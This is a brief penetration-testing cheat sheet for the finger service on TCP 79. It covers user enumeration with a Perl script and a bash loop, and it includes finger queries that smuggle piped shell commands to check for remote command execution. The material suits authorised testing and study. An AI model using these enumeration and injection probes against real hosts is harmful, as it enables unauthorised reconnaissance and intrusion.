Finger - TCP 79

Enumerate users with Perl script

# https://pentestmonkey.net/tools/finger-user-enum/finger-user-enum-1.0.tar.gz

./finger-user-enum.pl -U users.txt -t <target ip>

Enumerate users with Bash one-liner

for username in $(cat usernames.txt); do finger $username@<target ip>; done > valid_users.txt

Check for command execution

finger "|/bin/[e-mail]"
finger "|/bin/ls -a /@example.com"